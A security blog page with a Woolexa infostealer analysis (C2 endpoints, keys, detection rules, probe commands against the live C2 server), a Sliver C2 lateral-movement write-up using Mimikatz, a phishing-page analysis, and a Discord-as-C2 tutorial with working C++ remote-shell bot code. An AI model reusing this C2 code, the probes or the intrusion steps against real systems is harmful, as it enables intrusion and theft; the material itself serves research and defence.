QuantumCore

Woolexa Stealer - Full Malware Analysis Report

2026-06-17T00:00:00+00:00

Executive Summary

Woolexa Stealer is a .NET Framework 4.8 information stealer and remote access trojan (RAT) distributed via Discord as a fake Minecraft modpack titled “Minecraft Nightmare 1.0.0”. The malware exfiltrates browser credentials, cryptocurrency sessions, Discord tokens, and system intelligence to a compromised domain (bigscreenmod.com). It maintains persistent real-time access through WebSocket-based HVNC (Hidden Virtual Network Computing), enabling keystroke logging, microphone surveillance, screen streaming, and arbitrary command execution. The C2 infrastructure contains a critical authentication bypass vulnerability: the build key serves as the sole credential for all agent-facing endpoints, allowing anyone with the leaked keys (mit, yatowoolexa) to impersonate victims, decrypt exfiltrated data, and observe live operator commands.

Severity: Critical
Malware Class: Infostealer / RAT
Target Sector: General consumers (Discord gaming community)
Origin Attribution: Turkish-speaking developer(s), tracked as KUXEY

Key Judgments

The malware uses a multi-layered exfiltration pipeline combining AES-256-CBC encryption with XOR obfuscation, keyed per-build.
C2 authentication is fundamentally broken - a single shared secret (buildKey) authenticates all agents, endpoints, and WebSocket control channels.
The bigscreenmod.com domain is the sole C2 infrastructure, registered March 2026 via GoDaddy, fronted by Cloudflare.
No privilege escalation exploit is used; UAC bypass relies on registry manipulation and runas elevation.
Persistence is primarily achieved through WMI event subscription, with a scheduled task fallback.
The developer machine hostname (KUXEY) and PDB path point to a developer using the path shelcodeloader.

1. Malware Identity

Attribute	Value
Malware Name	Woolexa Stealer
Assembly Name	`BackendMinecraft`
Fabric Mod ID	`mcmod` (v1.0.0)
Author Alias	`shelcodeloader`
Developer Machine	`KUXEY` (from PDB path)
PDB Path	`C:\Users\KUXEY\Desktop\shelcodeloader\NativeHost\x64\Release\reflective_clr_host.pdb`
Language / Framework	C# (.NET Framework 4.8)
Origin	Turkish-speaking (code comments in Turkish)
Attack Vector	Social engineering via Discord modpack (`.mrpack`)
Distribution Platform	Discord (hijacked 7-year-old account)
Detected AV Engines	Not reported - no hashes available for VT lookup

2. Incident Timeline (Reconstructed)

Date (Estimated)	Event
March 2026	`bigscreenmod.com` registered via GoDaddy
Pre-June 2026	Woolexa Stealer developed on machine `KUXEY` in `shelcodeloader`
June 2026	Malicious `.mrpack` distributed via compromised Discord account
June 2026	Sample acquired and analysis conducted
June 13, 2026	C2 panel infrastructure documented during active analysis

3. Initial Access & Distribution

The malware was packaged as a Minecraft modpack file (.mrpack) and distributed through Discord from a hijacked account with seven years of trust history. This social engineering tactic exploits platform trust signals - a long-standing account appears legitimate, lowering victim suspicion.

Upon installation, the modpack loads BackendMinecraft.dll into the Minecraft process via Fabric mod loading, triggering the full infection chain.

4. MITRE ATT&CK Mapping

Tactic	Technique ID	Technique Name	Woolexa Implementation
Execution	T1204.002	User Execution: Malicious File	Victim voluntarily installs `.mrpack` modpack
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	`cmd.exe` execution via `EXEC_COMMAND`
Persistence	T1546.003	Event Triggered Execution: WMI Event Subscription	Permanent WMI filter running every 60s
Persistence	T1053.005	Scheduled Task/Job	`USOHealthCheck` task on `ONSTART`
Persistence	T1574.002	Hijack Execution Flow: DLL Side-Loading	`cryptbase.dll` proxy DLL injection
Defense Evasion	T1055.001	Process Injection: DLL Injection	Reflective CLR hosting (memory-only load)
Defense Evasion	T1112	Modify Registry	UAC lowering via `ConsentPromptBehaviorAdmin`
Defense Evasion	T1562.001	Impair Defenses: Disable/Modify Tools	`WOOLEXA_ALLOW_INSECURE_SSL` disables SSL validation
Defense Evasion	T1070.004	Indicator Removal: File Deletion	Cleans up `woolexa_`, `err_.vbs`, `elevate_*.vbs`
Credential Access	T1555.003	Credentials from Password Stores: Web Browsers	Decrypts browser `Login Data` via DPAPI/AES-GCM/ChaCha20
Credential Access	T1539	Steal Web Session Cookie	Steals cookies for session hijacking
Credential Access	T1555	Credentials from Password Stores	Discord token extraction from LevelDB
Collection	T1056.001	Input Capture: Keylogging	WebSocket-controlled keylogger with window titles
Collection	T1123	Audio Capture	Microphone recording at 48kHz/16-bit/mono
Collection	T1113	Screen Capture	JPEG streaming at ~2 FPS, single screenshot
Collection	T1005	Data from Local System	File listing, reading, and exfiltration
Exfiltration	T1560.003	Archive Collected Data: Custom Encryption	AES-256-CBC + XOR before exfiltration
Exfiltration	T1041	Exfiltration Over C2 Channel	All data exfiltrated via HTTP POST to `/api/collect`
Command and Control	T1071.001	Application Layer Protocol: Web Protocols	HTTPS for data, WSS for real-time C2
Discovery	T1082	System Information Discovery	HWID, OS, CPU, RAM, AV, IP geolocation
Privilege Escalation	T1134	Access Token Manipulation	`SeDebugPrivilege`, SYSTEM impersonation from `lsass`/`winlogon`
Impact	T1491.001	Defacement: Internal Defacement	`SET_WALLPAPER` command for victim harassment

5. Internal Configuration

5.1 Hardcoded in `Config.cs`

Key	Value	Purpose
`SteamApiKey`	`440D7F4D810EF9298D25EDDF37C1F902`	Steam API key for validating stolen Steam accounts
`SteamApiUrl`	`https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/`	Steam API endpoint
`UserAgent`	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36`	HTTP User-Agent
`BackendUrl`	`https://bigscreenmod.com`	C2 server (exfiltration endpoint)
`BuildKey`	`yatowoolexa`	Build identifier (ties victims to attackers in C2 panel)
`WsUrl`	`wss://bigscreenmod.com/agent-ws`	WebSocket URL for real-time C2 (HVNC/keylog/audio)

5.2 Embedded Config (`ConfigEmbedded.cs`)

{
  "backendUrl": "https://bigscreenmod.com",
  "wsUrl": "wss://bigscreenmod.com/agent-ws",
  "buildKey": "mit",
  "licenseKey": ""
}

The presence of two distinct build keys (mit, yatowoolexa) indicates a multi-tenant C2 panel - multiple operators share the same backend infrastructure. The empty licenseKey field suggests the panel’s licensing mechanism was either disabled or not enforced at the agent level.

5.3 Environment Variable Overrides

Woolexa supports an extensive set of environment variable overrides, indicating a flexible C2 panel that operators can tune per-deployment:

Env Var	Purpose
`WOOLEXA_BACKEND_URL`	Override C2 URL
`WOOLEXA_BUILD_KEY`	Override build key
`WOOLEXA_WS_URL`	Override WebSocket URL
`WOOLEXA_PERSIST_NO_COPY`	Skip persistence copy
`WOOLEXA_PERSIST_ALWAYS_COPY`	Force persistence copy
`WOOLEXA_PERSIST_COMMANDLINE`	Custom WMI persistence command
`WOOLEXA_ALLOW_INSECURE_SSL`	Disable SSL certificate validation
`WOOLEXA_DISABLE_PANEL_AGENT`	Disable HVNC panel
`WOOLEXA_HVNC_PRIMARY_ONLY`	Only capture primary monitor
`WOOLEXA_PANEL_RAM_GB`	Fake RAM report to C2
`WOOLEXA_NO_ALERT`	Suppress C2 alert popup
`WOOLEXA_SHOW_ALERT`	Force alert popup
`WOOLEXA_RVC_SPAWNED`	Memory-loaded execution marker
`WOOLEXA_MEMORY_LOADER`	Memory-loaded execution marker

6. C2 Infrastructure

6.1 Domains & Servers

Component	Value
C2 Domain	`bigscreenmod.com`
C2 Panel	`https://bigscreenmod.com/auth`
C2 WebSocket	`wss://bigscreenmod.com/agent-ws` (fallback: `ws://{host}:3001`)
Data Exfiltration	`POST https://bigscreenmod.com/api/collect`
Progress Tracking	`POST https://bigscreenmod.com/api/progress`
JPEG Screen Stream	`POST https://bigscreenmod.com/api/stream`
Panel Alert	`GET https://bigscreenmod.com/api/stealer/alert`
Mic Ingestion	`POST https://bigscreenmod.com/api/mic-ingest/*`
Origin IP	`130.12.242.204` (AS210558)
Cloudflare IPs	`104.21.64.58`, `172.67.176.167`
Registrar	GoDaddy (registered March 2026)

6.2 Infrastructure Analysis

The C2 architecture follows a standard two-tier design: Cloudflare fronts the origin server at 130.12.242.204. The domain bigscreenmod.com was registered in March 2026, making this a relatively young operation at the time of analysis. The WebSocket fallback on port 3001 is notable - Cloudflare does not proxy non-standard ports by default, meaning direct origin access may be possible by bypassing Cloudflare entirely.

7. Data Exfiltration Capabilities

7.1 Browser Data Theft

Extracts credentials and session data from ALL user profiles on ALL drives across these browsers:

Chromium-based: Chrome, Chrome Beta, Brave, Edge, Opera, Opera GX, Vivaldi, Yandex, Chromium, Comet
Gecko-based: Firefox, Waterfox, LibreWolf, Zen

Data stolen per browser:

Artifact	Source File	Decryption Method
Saved Passwords	`Login Data` (SQLite)	DPAPI / AES-GCM / ChaCha20-Poly1305
Cookies	`Cookies` (SQLite)	Direct read - used for session hijacking
Credit Cards	`Web Data` (SQLite)	Card numbers, expiry dates, cardholder names
Auto-fill Data	`Web Data` (SQLite)	Names, addresses, phone numbers
Browsing History	`History` (SQLite)	URLs, visit counts, timestamps
Bookmarks	`Bookmarks` (JSON)	Direct read
Discord Tokens	LevelDB stores	Encrypted and plaintext extraction

7.2 Discord Token Theft

Scans Discord desktop application LevelDB stores (Local Storage/leveldb) across five Discord variants: Discord stable, Discord PTB, Discord Canary, Discord Development, and Discord. Also extracts Discord tokens from browser-based LevelDB stores. Matches both encrypted tokens (dQw4w9WgXcQ:...) and plaintext token patterns.

7.3 Platform Account Hijacking

Each stolen cookie or session token is validated live against the platform’s API to confirm it is still active:

Platform	Cookie / Token Used	Data Extracted
Roblox	`.ROBLOSECURITY`	Account ID, username, display name, Robux balance
Instagram	`sessionid`	Username, email, phone number, full name, follower count
TikTok	`sessionid`	Username, email, display name, follower count
Spotify	`sp_dc`	Username, email, country
Steam	`loginusers.vdf`	SteamID (64-bit), profile name, profile URL (via Steam API)

7.4 Victim System Profiling

The malware collects the following intelligence from each compromised host:

Public IP - resolved via api.ipify.org, ipinfo.io, ip-api.com, ipapi.co
Geolocation - country and city from IP geolocation
Hostname
OS Version - full Windows NT version string
Architecture - x64 or x86
RAM - total and used capacity
CPU Model - from PROCESSOR_IDENTIFIER environment variable
Hardware ID (HWID) - from HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid
Antivirus Status - checks 22 installation paths and 11 running processes
Desktop Screenshot - captured at infection time

7.5 Exfiltration Pipeline

All stolen data is staged to a temporary directory (Browser-Datas/)
Data is compressed (zipped) entirely in memory - no temporary archive written to disk
The zip archive is encrypted using AES-256-CBC with a key derived from SHA-256(buildKey); a random IV is prepended to the ciphertext
The AES ciphertext is then XOR-encrypted with the raw build key string
The final payload is transmitted as application/octet-stream via POST /api/collect
HTTP headers include: X-Build-Key, X-Hostname, X-IP

8. Remote Access (HVNC) Capabilities

The malware maintains a persistent WebSocket connection to wss://bigscreenmod.com/agent-ws for real-time command and control. The panel supports the following operations:

8.1 Remote Desktop (HVNC)

Command	Description
`MOUSE_MOVE`	Move the mouse cursor to specified coordinates
`MOUSE_CLICK`	Simulate a click at specified coordinates
`KEY_DOWN`	Inject keystrokes into the victim’s session
`LAUNCH_BROWSER`	Launch an isolated browser in a hidden desktop for covert browsing
`KILL_BROWSER`	Terminate the hidden browser process
`KILL_EXPLORER`	Terminate Windows Explorer
`START_EXPLORER`	Restart Windows Explorer
`SET_WALLPAPER`	Change the desktop wallpaper from a URL (harassment capability)

8.2 Surveillance

Capability	Details
Keylogger	Captures all keystrokes with associated window titles and timestamps. Controlled via WebSocket: `KEYLOG_START`, `KEYLOG_STOP`, `KEYLOG_DUMP`
Microphone	Records audio from the default microphone at 48 kHz / 16-bit / mono. Streams raw PCM data via HTTP to `/api/mic-ingest/{session}`
Audio Playback	Plays audio files (WAV/MP3) on the victim’s speakers - enables bidirectional audio for harassment
Clipboard	On-demand clipboard read (text content only)
JPEG Screen Streaming	Continuous screen capture streamed to `/api/stream` at approximately 2 FPS

8.3 File Management

Command	Description
`FM_PLACES`	Enumerate special folders (Desktop, Downloads, Documents, etc.)
`FM_LIST`	List directory contents
`FM_READ`	Read a file and return base64-encoded content (up to 16 MB)
`FM_DOWNLOAD`	Download a file as base64 (up to 64 MB)

8.4 Command Execution

Command	Description
`EXEC_COMMAND`	Execute arbitrary `cmd.exe` commands with a 120-second timeout. Returns full interactive shell output

9. Persistence Mechanisms

Woolexa implements multiple persistence mechanisms to survive reboot, implemented in InferencePlanPersistence.cs:

9.1 WMI Event Subscription (Primary)

Installs a permanent WMI event filter that triggers the malware executable every 60 seconds. Uses __InstanceModificationEvent on the Win32_PerfFormattedData_PerfOS_System class:

Query: SELECT * FROM __InstanceModificationEvent WITHIN 60
       WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'
Filter Name: WindowsUpdateHealthCheck
Consumer Name: WindowsUpdateHealthConsumer

9.2 Scheduled Task (Fallback)

Task Name: Microsoft\Windows\UpdateOrchestrator\USOHealthCheck
Trigger: ONSTART (system boot)
Privileges: Highest available (runs with full privileges)

9.3 Payload Copy

Copies itself to C:\ProgramData\Microsoft\Update\updatecheck.exe with hidden and archive file attributes. This copy is skipped if the malware is already executing from a non-ephemeral (persistent) path.

9.4 DLL Proxy Injection

Uses cryptbase.dll as a proxy DLL to hijack cryptbase lookups in other processes
Supports COM hijacking via --com-hijack-install and --com-hijack-remove CLI arguments

10. Privilege Escalation & UAC Bypass

Technique	Implementation
UAC Lowering	Sets `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = 0` and `PromptOnSecureDesktop = 0`
SeDebugPrivilege	Enables debug privilege to enable process injection into privileged processes
SYSTEM Impersonation	Opens and duplicates access tokens from `winlogon.exe`, `lsass.exe`, or `services.exe`
UAC Prompt	Falls back to `runas` verb for administrative elevation
Memory Loading	The entire .NET assembly is loaded directly from memory via `ReflectiveClrHost.dll` - never touches disk

11. Anti-Forensics & Evasion

Logging: Operational logs written to %TEMP%\BackendMinecraft.log in Turkish
Cleanup: Removes temporary artifacts on completion (woolexa_*, err_*.vbs, elevate_*.vbs)
Memory-Only Execution: Full .NET assembly reflective loading via ReflectiveClrHost.dll leaves minimal disk forensic artifacts
Proxy Bypass: All network communication uses UseProxy = false to bypass system proxy settings, preventing inspection by enterprise proxy appliances
SSL Pinning Bypass: WOOLEXA_ALLOW_INSECURE_SSL environment variable disables certificate validation entirely
HeavyPacketBomb: Floods browser windows with messages before credential extraction to crash or confuse forensic tools that hook browser windows

12. Detection Opportunities

12.1 YARA Rule

rule Woolexa_Stealer_Indicators {
    meta:
        author = "Threat Intelligence"
        description = "Detects Woolexa Stealer artifacts and behaviors"
        date = "2026-06-17"

    strings:
        $pdb = "reflective_clr_host.pdb" nocase
        $buildkey_mit = "mit" nocase
        $buildkey_woolexa = "yatowoolexa" nocase
        $ws_url = "bigscreenmod.com/agent-ws" nocase
        $backend_url = "bigscreenmod.com" nocase
        $steam_key = "440D7F4D810EF9298D25EDDF37C1F902"
        $env_prefix = "WOOLEXA_" nocase
        $config_backend = "BackendMinecraft" nocase
        $mod_id = "mcmod" nocase
        $log_path = "BackendMinecraft.log"

    condition:
        any of ($pdb, $buildkey_mit, $buildkey_woolexa, $ws_url,
                $backend_url, $steam_key, $config_backend, $mod_id)
        or 3 of ($env_prefix, $log_path, $buildkey_mit, $buildkey_woolexa)
}

12.2 Sigma Rule - WMI Persistence

title: Woolexa Stealer WMI Persistence
id: 2a8f7c3b-9e1d-4f6a-bc5d-8e3f2a1c7b4d
status: experimental
description: Detects WMI event filter and consumer creation matching Woolexa persistence
author: Threat Intelligence
date: 2026-06-17
logsource:
    category: wmi_event
    product: windows
detection:
    selection_filter:
        EventID: 19
        FilterName: 'WindowsUpdateHealthCheck'
    selection_consumer:
        EventID: 20
        ConsumerName: 'WindowsUpdateHealthConsumer'
    selection_binding:
        EventID: 21
        FilterName: 'WindowsUpdateHealthCheck'
    condition: any of selection_*
falsepositives:
    - Legitimate Windows Update health checks (rare)
level: high

12.3 Sigma Rule - Scheduled Task

title: Woolexa Scheduled Task Persistence
id: 3b9e8d4c-2f1a-4a6b-8c7d-1e2f3a4b5c6d
status: experimental
description: Detects Woolexa scheduled task creation
author: Threat Intelligence
date: 2026-06-17
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image: 'schtasks.exe'
        CommandLine: '*Microsoft\Windows\UpdateOrchestrator\USOHealthCheck*'
    condition: selection
falsepositives:
    - Legitimate Windows Update task recreation (rare)
level: high

12.4 Splunk / ELK Query - Network IOC

index=network sourcetype=proxy
url=*.bigscreenmod.com* OR url=*/api/collect OR url=*/api/stream
| stats count by src_ip, url, user_agent

index=endpoint sourcetype=sysmon
(EventID=1 Image=*updatecheck.exe)
OR (EventID=19 "WindowsUpdateHealthCheck")
OR (CommandLine="*--com-hijack-install*")
| table _time, ComputerName, User, Image, CommandLine

12.5 Disk Forensic Artifact Paths

%TEMP%\BackendMinecraft.log
%ProgramData%\Microsoft\Update\updatecheck.exe
%TEMP%\woolexa_*
%TEMP%\err_*.vbs
%TEMP%\elevate_*.vbs

13. C2 Analysis & Exploitation

13.1 Authentication Weakness

The C2 panel uses the buildKey as the sole authentication mechanism for all agent-facing endpoints. There is no IP allowlisting, no per-machine secret, no session tokens, and no cryptographic challenge. Every API endpoint and WebSocket control channel authenticates solely via the X-Build-Key HTTP header or a buildKey JSON field.

The two leaked build keys - mit and yatowoolexa - function as master keys to the entire C2 backend.

13.2 Endpoint Access Matrix

Endpoint	Method	Auth Method	What an Attacker with the Build Key Can Do
`/agent-ws`	WebSocket	`buildKey` in `AGENT_REGISTER` JSON	Register as fake agent, receive panel commands sent to victims
`/api/collect`	POST	`X-Build-Key` header	Decrypt intercepted stolen data, poison C2 database
`/api/progress`	POST	`X-Build-Key` header	Inject fake progress entries, potentially enumerate victims
`/api/stream`	POST	`X-Build-Key` header	Receive JPEG screen captures, pollute streaming data
`/api/stealer/alert`	GET	`X-Build-Key` header	Read panel-wide alerts configured by C2 operator
`/api/mic-ingest/*`	POST	`X-Build-Key` header	Receive live microphone audio streams

13.3 WebSocket Agent Impersonation

The most impactful attack vector is WebSocket agent registration. The malware authenticates by sending:

{
  "event": "AGENT_REGISTER",
  "instanceId": "",
  "hostname": "",
  "hwid": "",
  "platform": "windows",
  "arch": "x64",
  "osRelease": "",
  "version": "vwolexa-cs",
  "localIp": "",
  "publicIp": "",
  "cpuModel": "",
  "ramGb": 0,
  "licenseKey": "mit",
  "buildKey": "mit"
}

A fake agent registered this way will:

Be accepted as a legitimate victim by the panel
Receive HEARTBEAT acknowledgements every 7 seconds
Receive any commands the panel broadcasts to active agents
Appear in the panel’s active client list alongside real victims

Commands observable by a fake agent:

Command	What It Reveals
`KEYLOG_START` / `KEYLOG_STOP` / `KEYLOG_DUMP`	Panel is harvesting keystrokes from victims
`MIC_START` / ingest path	Panel is eavesdropping on victims’ microphones
`EXEC_COMMAND`	Commands the panel is running on victims
`LAUNCH_BROWSER`	Panel is initiating covert browsing sessions
`FM_LIST` / `FM_READ` / `FM_DOWNLOAD`	Files the panel is exfiltrating from victims
`CLIPBOARD_READ`	Panel is reading victims’ clipboard

13.4 Data Decryption

Stolen data sent to /api/collect uses a build-key-derived encryption scheme:

encryption_key = SHA-256(buildKey)

The encryption pipeline:

AES-256-CBC with a random IV (prepended to ciphertext)
XOR-encrypted again with the raw build key

Since both mit and yatowoolexa are known, any intercepted stolen data can be decrypted. This also enables test submissions to reverse-engineer the C2 database schema.

13.5 Direct Origin Access

The origin server at 130.12.242.204 (AS210558) is behind Cloudflare. However:

The malware hardcodes a fallback: if WsUrl is empty, it connects directly to ws://{host}:3001
Cloudflare only proxies standard web ports (80/443) by default
Port 3001 likely bypasses Cloudflare entirely

Probe commands:

wscat -c ws://130.12.242.204:3001
curl -H "Host: bigscreenmod.com" http://130.12.242.204/api/stealer/alert
curl -k https://130.12.242.204/api/stealer/alert

14. Indicators of Compromise (IOC)

14.1 Network IOCs

Type	Value
C2 Domain	`bigscreenmod.com`
C2 WebSocket	`wss://bigscreenmod.com/agent-ws`
Collect Endpoint	`https://bigscreenmod.com/api/collect`
Stream Endpoint	`https://bigscreenmod.com/api/stream`
Progress Endpoint	`https://bigscreenmod.com/api/progress`
Mic Ingest	`https://bigscreenmod.com/api/mic-ingest/`
Origin IP	`130.12.242.204`
Cloudflare IPs	`104.21.64.58`, `172.67.176.167`

14.2 Static IOCs

Type	Value
Steam API Key	`440D7F4D810EF9298D25EDDF37C1F902`
Build Keys	`yatowoolexa`, `mit`
XOR Key	`qweqwe1`
AES Key Derivation	SHA-256(`"Shelcodeloader-embedded-key-v1"`)
AES IV	`AB AE A1 61 0C 9B 23 AA 03 5B F1 42 34 63 9C 2A`

14.3 Host IOCs

Type	Value
Scheduled Task	`Microsoft\Windows\UpdateOrchestrator\USOHealthCheck`
WMI Filter Name	`WindowsUpdateHealthCheck`
WMI Consumer Name	`WindowsUpdateHealthConsumer`
WMI Binding Name	`WindowsUpdateHealthBinding`
Disk Artifact	`%ProgramData%\Microsoft\Update\updatecheck.exe`
Log File	`%TEMP%\BackendMinecraft.log`
Temp Staging	`%TEMP%\woolexa_*`
VBS Artifacts	`%TEMP%\err_.vbs`, `%TEMP%\elevate_.vbs`

14.4 Attacker Identity IOCs

Type	Value
Discord Username	`bwnnyirl`
Discord User ID	`543708648233369610`
Minecraft UUID	`ac4b71bf-ca5a-4801-9654-829d67a9fc3b`
Minecraft Username	`dailussxd`
Modpack Name	`Minecraft Nightmare 1.0.0`
Developer Machine	`KUXEY`
PDB Path	`C:\Users\KUXEY\Desktop\shelcodeloader\NativeHost\x64\Release\reflective_clr_host.pdb`

15. Attribution

The malware is attributed to a Turkish-speaking developer operating under the alias KUXEY. Attribution is supported by:

Code comments in Turkish within the decompiled .NET assemblies
PDB path referencing C:\Users\KUXEY\Desktop\shelcodeloader\
Discord account shelcodeloader (ID: 543708648233369610) used for distribution
Minecraft account dailussxd (UUID: ac4b71bf-ca5a-4801-9654-829d67a9fc3b) linked to the same operator
The hijacked Discord account used for distribution had 7 years of history, suggesting the attacker either compromised an established account or purchased access

The multi-tenant build key system (mit, yatowoolexa) suggests shelcodeloader may operate as a malware builder vendor, selling access to the Woolexa C2 panel to multiple affiliates.

In Summary

The use of discord as a medium for spreading malware is widespread and common, Make sure to not download and execute any files especially if they are shared as Minecraft / Game mods or cheats.

Breach Simulation using SliverC2

2026-05-23T00:00:00+00:00

Breach Simulation: Lateral Movement using Sliver C2

This was designed to be tested against a certain security product, I focused on post-exploitation flow using Sliver C2 to demonstrate how initial access can be expanded into internal lateral movement inside a segmented environment. All testing was conducted in a testing active directory environment built especially for this.

Command & Control

After the initial payload execution, the compromised host established a reverse TCP connection back to my external C2 server. From there, We have an interactive session and full control over the endpoint.

Credential Access

Once I had a stable session, I moved into credential harvesting. I used Mimikatz to extract NTLM hashes and Kerberos tickets directly from LSASS.

Pivoting via Tunnel

To reach internal systems that were not directly exposed, I set up a Chisel tunnel from my attack machine.

Server was running externally

On the compromised host (socenv), I ran the Chisel client to create a reverse SOCKS5 tunnel back through the C2 channel. This effectively places my tooling inside the internal network.

Internal Reconnaissance

Through the tunnel, I ran internal discovery using netexec. The focus was on identifying live hosts, open SMB services, and reachable systems across the subnet.

Mapping potential lateral movement targets, Going further into the network.

Lateral Movement

With valid domain credentials already extracted, I targeted an internal system at 10.2.13.214.

Using netexec authenticated over SMB and executed a remote command to verify access before deploying the payload.

From there, I delivered the backdoor using a PowerShell download-and-execute.

Second Foothold

The payload executed successfully on 10.2.13.214, and a new C2 session was established.

At this point, We have a second independent foothold inside the network, separate from the initial host.

Credential Expansion

On the newly compromised machine, I repeated credential extraction using Mimikatz.

Successful lateral propagation across the environment.

Mail Delivery Subsystem Phishing Analysis

2026-05-06T00:00:00+00:00

Received a message indicating that the mail delivery subsystem had failed to send three emails. It immediately stood out as suspicious.

Link takes to https://red-blondell-19.tiiny.site/ The page mimicks a standard authentication portal. It included a login form requesting an email address and password.

Interesting Page Source code:

 data-id="th-modified">Web Page property="og:title" content="Web Page" data-id="th-modified" > name="description" content="Notification" data-id="th-modified" > property="og:description" content="Notification" data-id="th-modified" > property="og:image" content="https://tiiny.host/assets/logo-purple-bg.png" data-id="th-modified" > property="og:image:width" content="1501" data-id="th-modified" > property="og:image:height" content="1501" data-id="th-modified" > property="og:image:type" content="image/png" data-id="th-modified" > property="og:url" content="https://red-blondell-19.tiiny.site/" data-id="th-modified" > property="og:type" content="website" data-id="th-modified" >

The source code revealed that the page content was not directly written in HTML. Instead, it was injected dynamically using JavaScript obfuscation:

The main payload was encoded using percent-encoding (%3C%21%44%4F...)
It was decoded at runtime using unescape() and rendered via document.write()

A common technique to bypass static analysis.

The most notable aspect of this sample was the deliberate use of multi layer client-side obfuscation to conceal both structure and intent. While the underlying attack logic was relatively straightforward.

Encoded Payload via Percent-Encoding

The outer HTML document did not directly contain executable logic. Instead, it relied on a single JavaScript call:

document.write(unescape('%3C%21%44%4F%43%54%59%50%45...'));

This represents a percent-encoded payload, where every byte of the original HTML/JavaScript content was transformed into hexadecimal escape sequences prefixed with %.

For example:

%3C → <
%68 → h
%74 → t
%6D → m
%6C → l

When combined, these sequences reconstruct a fully functional HTML document.

Runtime Reconstruction Using `unescape()`

The decoding process occurs entirely at runtime through the deprecated but still functional unescape() function.

In this case, I observed the following execution chain:

The browser loads the initial HTML shell
The JavaScript engine encounters document.write()
unescape() decodes the percent-encoded string into raw HTML
The decoded content is injected directly into the DOM At this point, the real phishing interface is never visible in the static source view, it only exists after execution in the browser context.

This is a key evasion technique because:

View-source inspection shows only obfuscated data.
Security tools that do not execute JS miss the payload entirely.

Honeypot Field

A hidden input field was included:

 type="text" name="_gotcha" style="display:none">

A simple bot detection method. Automated scrapers often fill all fields, while real users never interact with hidden inputs. Any value in this field can be used to identify non-human interaction.

Credential Flow and Exfiltration Path

After reconstructing the full execution flow, the most important finding was not the UI deception itself, but the data exfiltration that activates immediately after user input. The browser never sends credentials to a legitimate authentication backend. Instead, the form submission is intercepted entirely on the client side:

Email and password are captured via DOM access
Input values are normalized using .trim()
Data is assembled into a structured JSON object

When I intercepted the traffic using Burp Suite, I captured an HTTP OPTIONS request to:

The browser is enforcing the Same-Origin Policy (SOP).

Because the phishing page is hosted on:

https://red-blondell-19.tiiny.site

and the exfiltration endpoint is:

https://submit-form.com

the browser must first verify whether cross-origin POST requests are allowed.

So it sends:

OPTIONS /vJIgjz2ZjAccess-Control-Request-Method: POSTAccess-Control-Request-Headers: content-typeOrigin: https://red-blondell-19.tiiny.site

This is a permission check, not a data transfer.

Credential Exfiltration Request (POST)

Immediately after the preflight approval, the actual credential payload is transmitted:

WHOIS Findings for submit-form.com

From the record:

Registrar: Namecheap Inc
Registrant Organization: Withheld for Privacy ehf
Registrant Location: Reykjavik, Iceland
Contact: Proxy email (masked via privacy service)
Status: clientTransferProhibited
DNS: AWS Route 53 name servers

This confirms that the domain is part of a modular phishing setup where ownership is hidden, and infrastructure is distributed across multiple providers to reduce detection and takedown risk.

Still at low detection risk on virustotal.

Discord as C2 Implementation Guide

2025-07-31T00:00:00+00:00

Using Discord as a C2

While researching online, I came across convoC2, a project that uses Microsoft Teams as a Command and Control (C2) server. It immediately took me back to my malware development days. That sparked an idea; why not build something similar using Discord as the C2 channel?

The malicious abuse of Discord as a C2 medium is already widespread in the wild. So if you’re looking for something for your blackhat toolkit, this post won’t offer much value. However, if you’re interested in understanding how C2 infrastructure can be designed over modern chat platforms, especially for red teaming, simulation, or educational purposes then this writeup will serve as a solid starting point.

Pros: Using public platforms like Discord eliminates the overhead of setting up and maintaining your own C2 infrastructure. There’s no need for VPS, domain registrations, or SSL certificates as everything rides on an already trusted service.

Cons: When law enforcement comes knocking, understand that you’ve handed them everything. Logs, identifiers, timestamps, and platform level visibility. You didn’t just use Discord, you left footprints on someone else’s server.

Prerequisites

Coding in a low level language; Difficult to reverse, more practical for real world simulations. I’ll be using C++.
Discord Bot config (https://discord.com/developers/applications)

Setting up Discord BOT

Go to Discord Developer portal and create a “New Application”, name it anything you want.
Go to Bot -> Reset Token. Copy the token, It is the only thing that we will need.

Lets Code

I will be using the following C++ Library for discord: https://github.com/brainboxdotcc/DPP. You can go to its releases and install it however you want.

Connect to discord

Below is a baseline code that will connect and send a message to your discord server, make sure you add your discord bot to a test server before running the below snippet.

#include 

int main() {
    const char* token_chars = "BOT_TOKEN_HERE"; // Replace with your actual token
    std::string token(token_chars);
    dpp::cluster bot(token);

    bot.on_ready([&bot](const dpp::ready_t& event) {
        std::cout << "Bot is now online!" << std::endl;
    });

    bot.start(dpp::st_wait);
    return 0;
}

The code is compiled into a binary. When executed, the Discord bot comes online and sends a message, signaling it’s active. From there, we can send commands directly from the Discord server to the bot, and define custom instructions for it to execute.

Sounds familiar? It should it’s essentially the foundation of a Command and Control (C2) system.

Adding a shell

The following code reads in /shell command, and executes the argument, returns output:

bot.on_slashcommand([&bot](const dpp::slashcommand_t& event) {
        std::string cmd = event.command.get_command_name();
        if (cmd == "shell") {
            try {
                std::string command = std::get<std::string>(event.get_parameter("command"));
                std::wstring wcmd = L"cmd.exe /c " + std::wstring(command.begin(), command.end());

                // Let the user know the command is being processed
                event.thinking();

                std::string output = execute_command(wcmd);
                if (output.empty()) output = "Command executed but returned no output.";

                // Format output as code block
                if (output.length() > 1900) {
                    send_chunked_reply(event, "```\n" + output + "\n```");
                }
                else {
                    event.edit_original_response(dpp::message("```\n" + output + "\n```"));
                }
            }
            catch (const std::exception& e) {
                event.edit_original_response(dpp::message("Error executing command: " + std::string(e.what())));
            }
        }

execute_command() implementation:

std::string execute_command(const std::wstring& cmd) {
    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.bInheritHandle = TRUE;
    sa.lpSecurityDescriptor = NULL;

    HANDLE hOutRd, hOutWr;
    if (!CreatePipe(&hOutRd, &hOutWr, &sa, 0)) {
        return "Failed to create pipe";
    }
    if (!SetHandleInformation(hOutRd, HANDLE_FLAG_INHERIT, 0)) {
        CloseHandle(hOutRd);
        CloseHandle(hOutWr);
        return "Failed to set handle information";
    }

